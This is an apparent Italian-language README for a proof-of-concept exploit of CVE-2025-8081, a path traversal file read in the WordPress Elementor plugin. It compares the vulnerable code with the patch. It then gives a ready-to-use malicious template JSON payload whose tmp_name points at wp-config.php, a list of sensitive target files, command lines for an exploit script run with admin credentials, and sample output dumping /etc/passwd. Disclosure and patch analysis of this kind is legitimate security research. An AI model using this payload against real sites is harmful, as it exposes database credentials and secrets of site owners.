
Proof-of-concept exploit per CVE-2025-8081, una lettura arbitraria di file nel plugin WordPress Elementor, che consente agli amministratori autenticati di leggere file sensibili come wp-config.php.
Una vulnerabilità critica di lettura arbitraria di file nel plugin WordPress Elementor che consente ad amministratori autenticati di leggere qualsiasi file accessibile dal server web, inclusi file di configurazione sensibili contenenti le credenziali del database.
| Proprietà | Valore |
|---|
| ID CVE | CVE-2025-8081 |
| Tipo | Lettura Arbitraria di File (CWE-22: Path Traversal) |
| Punteggio CVSS | 4.9 (Medio) - Impatto Reale: CRITICO |
| Vettore CVSS | AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N |
| Versioni Interessate | Elementor ≤ 3.30.2 |
| Versione Corretta | Elementor ≥ 3.30.3 |
| Data di Rilascio | 22 luglio 2025 |
| Data di Divulgazione | 15 ottobre 2025 |
wp-config.php rivela le credenziali del database e le chiavi di sicurezzaLa vulnerabilità esiste in un singolo file a una singola riga:
elementor/includes/template-library/classes/class-import-images.php
Riga 115 (v3.28.3)
if ( isset( $attachment['tmp_name'] ) ) {
// Used when called to import a directly-uploaded file.
$filename = $attachment['name'];
$file_content = Utils::file_get_contents( $attachment['tmp_name'] ); // ❌ NO VALIDATION!
}
Problema: Il parametro tmp_name NON viene validato con is_uploaded_file(), consentendo a un attaccante di specificare percorsi di file arbitrari.
if ( isset( $attachment['tmp_name'] ) ) {
// Used when called to import a directly-uploaded file.
$filename = $attachment['name'];
$file_content = false;
// security validation in case the tmp_name has been tampered with
if ( is_uploaded_file( $attachment['tmp_name'] ) ) { // ✅ VALIDATION ADDED!
$file_content = Utils::file_get_contents( $attachment['tmp_name'] );
}
}
Correzione: La patch aggiunge la validazione is_uploaded_file() per garantire che tmp_name si riferisca a un file caricato legittimamente tramite POST HTTP.
{
"content": [{
"id": "s1",
"elType": "section",
"settings": [],
"elements": [{
"id": "c1",
"elType": "column",
"settings": {"_column_size": 100},
"elements": [{
"id": "w1",
"elType": "widget",
"widgetType": "image",
"settings": {
"image": {
"url": "http://x.com/x.jpg",
"id": 1,
"tmp_name": "/var/www/html/wp-config.php",
"name": "leaked_config.txt"
}
},
"elements": []
}]
}]
}],
"version": "0.4",
"type": "page"
}
payload.json)leaked_config.txtRisultato: Contenuto di wp-config.php con le credenziali del database esposte!
| File | Descrizione | Impatto |
|---|---|---|
/var/www/html/wp-config.php | Configurazione WordPress | 🔴 CRITICO - Credenziali DB |
/proc/self/environ | Variabili d'ambiente | 🔴 CRITICO - Chiavi API, segreti |
| File | Descrizione | Impatto |
|---|---|---|
/etc/passwd | Utenti di sistema | 🟠 ALTO - Enumerazione utenti |
/var/www/html/.htaccess | Configurazione server web | 🟠 ALTO - Divulgazione configurazione |
/var/log/apache2/access.log | Log Apache | 🟡 MEDIO - Divulgazione informazioni |
python3 exploit.py -t https://target.com -u admin -p password123
Argomenti Richiesti:
-t, --target URL URL WordPress di destinazione (es., https://target.com)
-u, --user USERNAME Nome utente amministratore WordPress
-p, --password PASS Password amministratore WordPress
Argomenti Opzionali:
-f, --file PATH File da leggere (predefinito: /var/www/html/wp-config.php)
-o, --output FILE Nome del file di output (predefinito: generato automaticamente)
--insecure, -k Disabilita la verifica del certificato SSL
-v, --verbose Abilita output dettagliato per il debug
-h, --help Mostra il messaggio di aiuto
# Sfruttamento di base (legge wp-config.php con payload predefinito)
python3 exploit.py -t http://target.com -u admin -p password123
# File di destinazione personalizzato
python3 exploit.py -t http://target.com -u admin -p password123 -f /etc/passwd
# Con HTTPS e certificato autofirmato
python3 exploit.py -t https://target.com -u admin -p password123 --insecure
# Modalità dettagliata con output personalizzato
python3 exploit.py -t http://target.com -u admin -p password123 \
-f /etc/passwd -o users.txt -v
# Da OrbStack/Docker verso la macchina host
python3 exploit.py -t http://host.internal:8080 -u admin -p password123 -v
Kali:~$ python3 exploit.py -t http://host.internal:8080 -u admin -p admin123 -f /etc/passwd
======================================================================
CVE-2025-8081 - Elementor Arbitrary File Read
======================================================================
Target: http://host.internal:8080
File: /etc/passwd
======================================================================
[INFO] Attempting WordPress authentication...
[SUCCESS] ✓ Authentication successful!
[INFO] Fetching AJAX nonce...
[INFO] Loading payload: payload.json
[INFO] Uploading malicious template...
[SUCCESS] ✓ Template uploaded successfully!
[INFO] Searching for leaked file: leaked_passwd.txt
[SUCCESS] ✓ Found file: http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
[INFO] Downloading file...
[SUCCESS] ✓ Downloaded 839 bytes
======================================================================
EXPLOITATION SUCCESSFUL!
======================================================================
File URL: http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
File size: 839 bytes
Saved to: leaked_passwd.txt
--- FILE CONTENT (first 500 chars) ---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin
--- END ---
======================================================================
SOLO PER SCOPI EDUCATIVI E TEST AUTORIZZATI
Questo strumento è fornito esclusivamente per ricerca sulla sicurezza e test di penetrazione. L'utilizzo di questo strumento per attaccare obiettivi senza previo consenso reciproco è illegale.
È responsabilità dell'utente finale rispettare tutte le leggi locali, statali e federali applicabili.
Utilizzando questo strumento, accetti di usarlo in modo legale ed etico.
Ultimo Aggiornamento: 17 ottobre 2025